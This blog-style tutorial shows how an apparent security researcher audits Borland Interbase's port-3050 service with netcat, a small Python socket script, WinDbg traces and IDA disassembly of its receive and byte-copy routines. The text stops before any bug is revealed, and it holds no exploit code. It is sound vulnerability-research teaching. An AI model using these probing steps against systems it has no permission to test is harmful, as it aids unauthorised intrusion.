I was up late on wednesday night, as usual since we are all up late on wednesday nights, and decided to take a look at BakBone NetVault. Upon installing NetVault, I noticed a process listening on TCP port 3050. This process turned out to be the "Firebird SQL Server". When I found a vulnerability in that process, TPTI-07-11, I did some research on what Firebird SQL is. It turns out that at one point Borland open sourced Interbase. This is when the guys at Firebird decided to branch that source tree and start a free, open source version under the Firebird SQL moniker. So hey, if one product has a vulnerability, and it was forked from another products source, then maybe we should look at the other vendor. That's where Borland Interbase 2007 comes in. Since it has the same code base, I downloaded a trial and decided to play with it for a few minutes.
So what im trying to do in this blog post is go over how I found this bug. Hopefully some of this will serve as a "Auditing 101" how-to for network services. This bug was fairly easy to find, and should be good practice. Hey, maybe it will help you find other Interbase bugs.
After installing software to audit, I pull up TCPView to see which processes are listening on which ports.

As we see, TCP port 3050 is open (just like the FirebirdSQL server fbserver.exe). At this point, I try and connect to that port via netcat from another box. In this case, I have Interbase in a virtual machine so it's simple.
C:\>nc 10.1.1.132 3050 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa^C C:\>The reason for the a's is not a cheap key repeat fuzzer, but a way to see if a service is only expecting a few bytes. For instance, a process may expect multiple packets, or work in a send/receive method. If the socket is closed after 12 "a"'s then I gain a little more understanding of what's going on. In this case, however, I manually closed the socket after a few bytes because obviously it is expecting more than I am willing to type manually.
At this point, I know that we can reach the socket from a remote machine. I also know my connection will actually accept data, which is good, because in some situations, a socket may be listening but won't receive any data from a remote machine (the socket will be closed after checking which host has connected via accept()). Since we can communicate over the network, I need a method for programatically accessing this service and manipulating the data being sent over the wire. Let's write a cheap Python script to do this.
#!/usr/bin/env python import socket host = "10.1.1.132" port = 3050 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "[*] Connecting to [%s:%d]" % (host, port) s.connect((host, port)) buffer = "A" * 20 print "[*] Sending [%s]" % buffer s.send(buffer) print "[*] Closing socket" s.close()This is pretty simple and doesn't contain any error checking, but we're not really worried about that right now. When ran, we see the process on the target machine handle the request properly. Even increasing the sent buffer to 0x5000 does nothing. That's ok, we must be dealing with something a *little* more complex (cat /dev/urandom 4lyfe).
At this point we need a debugger. With the debugger, we can inspect futher how data is being taken from the socket and used. In most cases you will want to do this step with any network service. Data has to get to the process somehow, and we want to be there when it happens. So on to our trusty WinDbg...

Now that we are attached, we are going to break on the common Win32 API calls for receiving network input. The most common are the recv family (Although there are a few other methods for receiving socket data). From here on out no more screen shots of WinDbg, that defeats the purpose of a command line debugger :).
0:005> bp ws2_32!recv 0:005> bp wsock32!recv 0:005> gWooh that was difficult. Lets send data.
C:\>ibserver.py [*] Connecting to [10.1.1.132:3050] [*] Sending [AAAAAAAAAAAAAAAAAAAA] [*] Closing socket C:\>And what do you know...
Breakpoint 0 hit eax=000000b0 ebx=00aa0388 ecx=00a96652 edx=00a96554 esi=00aa0758 edi=00000000 eip=71ab615a esp=010ed8e4 ebp=010efbcc iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 WS2_32!recv: 71ab615a 8bff mov edi,edi 0:003> kb ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 010ed8e0 004118c9 000000b0 00a96652 00002000 WS2_32!recv 010efbcc 00411440 00a96554 00a96652 00002000 ibserver+0x118c9 010efbf4 00410fa5 00a965d4 00000000 00aa0758 ibserver+0x11440 010efc0c 00411008 00a965d4 010efc20 00000004 ibserver+0x10fa5 010efc24 00419043 00a965d4 010efc38 00000001 ibserver+0x11008 010efc3c 00412a06 00a965d4 00a9bab4 00000002 ibserver+0x19043 010efdd8 004103c5 00a965d4 00a9bab4 0001b7a4 ibserver+0x12a06 010efdf4 00405205 00a9bdec 00a9bab4 827c7840 ibserver+0x103c5 010eff18 0040411c 00a9bdec 0000005a 00a9bdec ibserver+0x5205 010eff80 77c3a3b0 00000000 00000000 00000000 ibserver+0x411c 010effb4 7c80b50b 00aa0388 00000000 00000000 MSVCRT!endthreadex+0xa9 010effec 00000000 77c3a341 00aa0388 00000000 kernel32!GetModuleFileNameA+0x1b4So this allows us to take a cursory look at how data comes off the socket. We can tell in WinDbg via the stack back trace that recv was called like this:
WS2_32!recv(SOCK s, char* buf, int len, int flags) WS2_32!recv(000000b0, 00a96652, 00002000, 00000000)So we notice the call to recv is expecting up to 0x2000 bytes of data (thats a lot). Lets just continue on and see what code in ibserver.exe is responsible for calling recv on our socket.
0:003> gu eax=00000014 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=004118c9 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x118c9: 004118c9 898534ddffff mov dword ptr [ebp-22CCh],eax ss:0023:010ed900=00000000The "gu" command will take us up to the previous call in the chain, effectively letting us return from the current function. Now that we are back in our target process (ibserver.exe), we will want to use something with a little better visual appeal. IDA Pro serves as the de-facto standard for reverse engineering. While I can do all of this in a debugger, the visualization and workflow available in IDA is unparalleled. I simply take the EIP from the debugger (0x004118c9) and drop that into IDA with my disassembled ibserver.exe binary.
0x004118B1 push 0 ; flags 0x004118B3 movsx eax, [ebp+arg_8] 0x004118B7 push eax ; len 0x004118B8 mov ecx, [ebp+arg_4] 0x004118BB push ecx ; buf 0x004118BC mov edx, [ebp+arg_0] 0x004118BF mov eax, [edx+48h] 0x004118C2 push eax ; s 0x004118C3 call ds:recv 0x004118C9 mov [ebp+var_22CC], eaxHere we are, just as expected. For verifications sake you can also see all the arguments that were pushed to recv() before the call. Of note is the pointer being supplied to recv for our character buffer. Lets just take a look and make sure our data is sitting at that memory location. If you remember we can grab the location from our call chain we dumped in the recv break point.
0:003> dc 00a96652 00a96652 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA 00a96662 41414141 00000000 00000000 00000000 AAAA............ 00a96672 00000000 00000000 00000000 00000000 ................ 00a96682 00000000 00000000 00000000 00000000 ................ 00a96692 00000000 00000000 00000000 00000000 ................ 00a966a2 00000000 00000000 00000000 00000000 ................ 00a966b2 00000000 00000000 00000000 00000000 ................ 00a966c2 00000000 00000000 00000000 00000000 ................Yea that looks about right, notice the buffer has been zeroed out because recv was expecting more data. Looking at the disassembly of this function from where we are to the return, I can tell in a couple seconds that the rest of this function simply checks that:
a) recv() read data
b) There were not any socket errors
c) We have received more than 0 bytes from the socket
A keen observer following along will notice I didn't touch on the call to 0x44DBBBB (ive labeled it as "something" in the screen shot). I did briefly look at it, and since it does not receive arguments, and does a lot of mutex locking and thread management, I decided it will most likely not affect my data in any way. Many times you will have to make decisions like this, especially when reverse engineering more complex functions. Go with your instinct and look for clues in strings and library calls.

And a quick trace in WinDbg confirms this as well.
eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=004118d4 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 ibserver+0x118d4: 004118d4 83bd34ddffffff cmp dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=00000014 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=004118db esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 ibserver+0x118db: 004118db 7518 jne ibserver+0x118f5 (004118f5) [br=1] 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=004118f5 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 ibserver+0x118f5: 004118f5 eb05 jmp ibserver+0x118fc (004118fc) 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=004118fc esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 ibserver+0x118fc: 004118fc 83bd34ddffff00 cmp dword ptr [ebp-22CCh],0 ss:0023:010ed900=00000014 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411903 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11903: 00411903 7f14 jg ibserver+0x11919 (00411919) [br=1] 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411919 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11919: 00411919 83bd34ddffffff cmp dword ptr [ebp-22CCh],0FFFFFFFFh ss:0023:010ed900=00000014 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411920 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 ibserver+0x11920: 00411920 751f jne ibserver+0x11941 (00411941) [br=1] 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411941 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz ac po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000213 ibserver+0x11941: 00411941 83bd34ddffff00 cmp dword ptr [ebp-22CCh],0 ss:0023:010ed900=00000014 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411948 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11948: 00411948 751a jne ibserver+0x11964 (00411964) [br=1] 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=00000001 esi=00aa0758 edi=00000000 eip=00411964 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11964: 00411964 8b5514 mov edx,dword ptr [ebp+14h] ss:0023:010efbe0=010efbe8 0:003> t eax=00000000 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411967 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11967: 00411967 668b8534ddffff mov ax,word ptr [ebp-22CCh] ss:0023:010ed900=0014 0:003> t eax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=0041196e esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1196e: 0041196e 668902 mov word ptr [edx],ax ds:0023:010efbe8=2000 0:003> t eax=00000014 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411971 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11971: 00411971 b801000000 mov eax,1 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411976 esp=010ed8f8 ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11976: 00411976 8be5 mov esp,ebp 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411978 esp=010efbcc ebp=010efbcc iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11978: 00411978 5d pop ebp 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411979 esp=010efbd0 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11979: 00411979 c3 ret 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11440: 00411440 83c410 add esp,10hOnce again we will want to take the current EIP and follow it in our disassembly so we can get a better view of how the process is reacting to our user supplied data. This can also be done by using the call chain we dumped at our recv() breakpoint. Although in more complex situations tracing step by step like we are doing is the best method.
We are now looking at this block of code.
0x0041142D push eax ; int 0x0041142E mov cx, word ptr [ebp+var_C] 0x00411432 push ecx ; __int16 0x00411433 mov edx, [ebp+recv_buffer] 0x00411436 push edx ; recv_buffer 0x00411437 mov eax, [ebp+var_10] 0x0041143A push eax ; int 0x0041143B call wrapper_for_recv 0x0041143B 0x00411440 add esp, 10hI have named the functions we just visited because I have a good idea what its purpose it. In some cases, I would make the function name a little more specific, but for this demonstration "wrapper_for_recv" is fine. Also note that I have labeled the pointer being supplied for the recv() call two functions down. This lets me quickly identify anytime my user supplied data is being accessed.
Again a cursory glance of this function we are currently in tells me not much is actually accessing our data. Looking at it briefly I see that our received bytes count is being stored, our recv_buffer is being adjusted accordingly and some structure pointers are being updated with this information. The specific details of this can be better seen in the debugger. Also I have noticed that when we successfully return from functions we are returning 1 (True) and when something is wrong we return 0 (False). This might help if I hit a basic block setting EAX to 0 before a return.

And like I mentioned in the debugger we can easily correlate this information.
eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411440 esp=010efbd4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11440: 00411440 83c410 add esp,10h 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411443 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11443: 00411443 85c0 test eax,eax 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411445 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11445: 00411445 7504 jne ibserver+0x1144b (0041144b) [br=1] 0:003> t eax=00000001 ebx=00aa0388 ecx=001501b0 edx=010efbe8 esi=00aa0758 edi=00000000 eip=0041144b esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1144b: 0041144b 0fbf4df4 movsx ecx,word ptr [ebp-0Ch] ss:0023:010efbe8=0014 0:003> t eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000 eip=0041144f esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1144f: 0041144f 85c9 test ecx,ecx 0:003> t eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411451 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11451: 00411451 7c0e jl ibserver+0x11461 (00411461) [br=0] 0:003> t eax=00000001 ebx=00aa0388 ecx=00000014 edx=010efbe8 esi=00aa0758 edi=00000000 eip=00411453 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11453: 00411453 0fbf55f4 movsx edx,word ptr [ebp-0Ch] ss:0023:010efbe8=0014 0:003> t eax=00000001 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000 eip=00411457 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11457: 00411457 8b45fc mov eax,dword ptr [ebp-4] ss:0023:010efbf0=00a96652 0:003> t eax=00a96652 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000 eip=0041145a esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1145a: 0041145a 03c2 add eax,edx 0:003> t eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000 eip=0041145c esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1145c: 0041145c 8945fc mov dword ptr [ebp-4],eax ss:0023:010efbf0=00a96652 0:003> t eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000 eip=0041145f esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1145f: 0041145f eb26 jmp ibserver+0x11487 (00411487) 0:003> t eax=00a96666 ebx=00aa0388 ecx=00000014 edx=00000014 esi=00aa0758 edi=00000000 eip=00411487 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x11487: 00411487 8b4df0 mov ecx,dword ptr [ebp-10h] ss:0023:010efbe4=00a96554 0:003> t eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000014 esi=00aa0758 edi=00000000 eip=0041148a esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1148a: 0041148a 668b5132 mov dx,word ptr [ecx+32h] ds:0023:00a96586=0400 0:003> t eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000400 esi=00aa0758 edi=00000000 eip=0041148e esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x1148e: 0041148e 80ca04 or dl,4 0:003> t eax=00a96666 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000 eip=00411491 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11491: 00411491 8b45f0 mov eax,dword ptr [ebp-10h] ss:0023:010efbe4=00a96554 0:003> t eax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000 eip=00411494 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11494: 00411494 66895032 mov word ptr [eax+32h],dx ds:0023:00a96586=0400 0:003> t eax=00a96554 ebx=00aa0388 ecx=00a96554 edx=00000404 esi=00aa0758 edi=00000000 eip=00411498 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x11498: 00411498 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4 0:003> t eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000404 esi=00aa0758 edi=00000000 eip=0041149b esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1149b: 0041149b 8b55fc mov edx,dword ptr [ebp-4] ss:0023:010efbf0=00a96666 0:003> t eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00a96666 esi=00aa0758 edi=00000000 eip=0041149e esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 ibserver+0x1149e: 0041149e 2b5110 sub edx,dword ptr [ecx+10h] ds:0023:00a965e4=00a96652 0:003> t eax=00a96554 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000 eip=004114a1 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114a1: 004114a1 8b4508 mov eax,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4 0:003> t eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000 eip=004114a4 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114a4: 004114a4 895014 mov dword ptr [eax+14h],edx ds:0023:00a965e8=00000000 0:003> t eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000 eip=004114a7 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114a7: 004114a7 8b4d08 mov ecx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4 0:003> t eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00000014 esi=00aa0758 edi=00000000 eip=004114aa esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114aa: 004114aa 8b5508 mov edx,dword ptr [ebp+8] ss:0023:010efbfc=00a965d4 0:003> t eax=00a965d4 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114ad esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114ad: 004114ad 8b4210 mov eax,dword ptr [edx+10h] ds:0023:00a965e4=00a96652 0:003> t eax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114b0 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114b0: 004114b0 89410c mov dword ptr [ecx+0Ch],eax ds:0023:00a965e0=00a96652 0:003> t eax=00a96652 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114b3 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114b3: 004114b3 b801000000 mov eax,1 0:003> t eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114b8 esp=010efbe4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114b8: 004114b8 8be5 mov esp,ebp 0:003> t eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114ba esp=010efbf4 ebp=010efbf4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114ba: 004114ba 5d pop ebp 0:003> t eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=004114bb esp=010efbf8 ebp=010efc0c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x114bb: 004114bb c3 ret 0:003> t eax=00000001 ebx=00aa0388 ecx=00a965d4 edx=00a965d4 esi=00aa0758 edi=00000000 eip=00410fa5 esp=010efbfc ebp=010efc0c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206 ibserver+0x10fa5: 00410fa5 83c404 add esp,4So that seems to check out. I also am keeping in mind the fact that our previous call to recv() wanted more data than we supplied. In the future I will keep my eye on the number of bytes received (0x14) and see if the process ever checks it and loops if its less than another constant (0x2000 perhaps). This happens all the time when the process is *expecting* more data than is received, you will see what equates to a while loop with repeated calls to recv().
Just a quick side note, at each point where I return from a function, I am setting a "Mark" in IDA Pro (Atl-M). This lets me set points in the binary that are interesting and label them with useful notes. At any point during this I can simply access those marks (Ctrl-M) and remind myself what was going on if I need.
Continuing on we can see something interesting actually happening. In this function we see two things. We see our data being copied to a pointer passed to the function, and we also see this block being executed in a loop with another argument supplied as the counter. Heres the basic block copying our data.
0x00410FB0 loc_410FB0: ; CODE XREF: sub_410E46+154j 0x00410FB0 ; sub_410E46+164j 0x00410FB0 mov ecx, [ebp+recv_info_struct] ; a struct for our received data 0x00410FB3 mov edx, [ecx+0Ch] ; our user buffer 0x00410FB6 mov eax, [ebp+ptr_to_dword] 0x00410FB9 mov cl, [edx] ; read the first byte of our data 0x00410FBB mov [eax], cl ; store that byte 0x00410FBD mov edx, [ebp+ptr_to_dword] 0x00410FC0 add edx, 1 ; add 1 to the dest ptr since we copied a byte 0x00410FC3 mov [ebp+ptr_to_dword], edx ; store the new address 0x00410FC6 mov eax, [ebp+recv_info_struct] 0x00410FC9 mov ecx, [eax+0Ch] ; our buffer again 0x00410FCC add ecx, 1 ; add one since we copied a byte 0x00410FCF mov edx, [ebp+recv_info_struct] 0x00410FD2 mov [edx+0Ch], ecx ; store the updated pointer 0x00410FD5 mov eax, [ebp+recv_info_struct] 0x00410FD8 mov ecx, [eax+14h] ; received bytes 0x00410FDB sub ecx, 1 ; sub 1 since we processed 1 byte already 0x00410FDE mov edx, [ebp+recv_info_struct] 0x00410FE1 mov [edx+14h], ecx ; store the new value (0x13) 0x00410FE4 jmp short loc_410F84As you can see by some of the comments, this is a simple copy routine that does a byte copy from our recv buffer to a pointer that was supplied to this particular function. The interesting thing to note is the "jmp short loc_410F84" which, if you notice, goes backwards.
0x00410F84 loc_410F84: ; CODE XREF: sub_410E46+F2j 0x00410F84 ; sub_410E46+19Ej 0x00410F84 mov ecx, [ebp+loop_count] 0x00410F87 sub ecx, 1 0x00410F8A mov [ebp+loop_count], ecx 0x00410F8D cmp [ebp+loop_count], 0 0x00410F91 jl short loc_410FE6Here is when we first see the dword argument used. As you can tell i've label it as a loop counter because it is being checked after each copy block until the argument (0x4) is less than 0. While we are still looping we hit this block.
0x00410F93 mov edx, [ebp+recv_info_struct] 0x00410F96 cmp dword ptr [edx+14h], 0 ; received bytes 0x00410F9A jnz short loc_410FB0This simply says while we have bytes remaining to be copied execute the copy basic block. And if you notice the jump lines up with our previous basic block responsible for copying a byte of data from our user supplied buffer to our argument. Ahhh the power of IDA's graph based display can help you visualize all this pretty well.

I wanted to take another side step here and discuss the recv_info_struct argument that is passed to this function. As we can see in several places, this is obviously a structure containing important data about our received buffer. Offsets like 0x0c and 0x14 are used to denote the address of our received data and the length of said data. We can gather that this may be an important structure because it is used consistently in this function and some of the previous functions. In normal cases it would be a good idea to go ahead and set up a structure and members in IDA's structure window. This will allow us to assign each of these members to the disassembly window for easier viewing. I would highly recommend this for especially complex structures that are being passed around in a binary. However for this quick audit i'm not bothering because I can recognize the two important members.
In WinDbg, we set a breakpoint after this loop to make sure all our static assumptions are correct. We can do this by looking at the disassembly and identifying the basic block before the function return.
0x00410FE6 loc_410FE6: ; CODE XREF: sub_410E46+14Bj 0x00410FE6 mov eax, 1Setting our breakpoint.
0:003> bp 410FE6 0:003> g Breakpoint 2 hit eax=00a965d4 ebx=00aa0388 ecx=ffffffff edx=00a965d4 esi=00aa0758 edi=00000000 eip=00410fe6 esp=010efc00 ebp=010efc0c iopl=0 nv up ei ng nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000286 ibserver+0x10fe6: 00410fe6 b801000000 mov eax,1Let's inspect our destination pointer and double check our work.
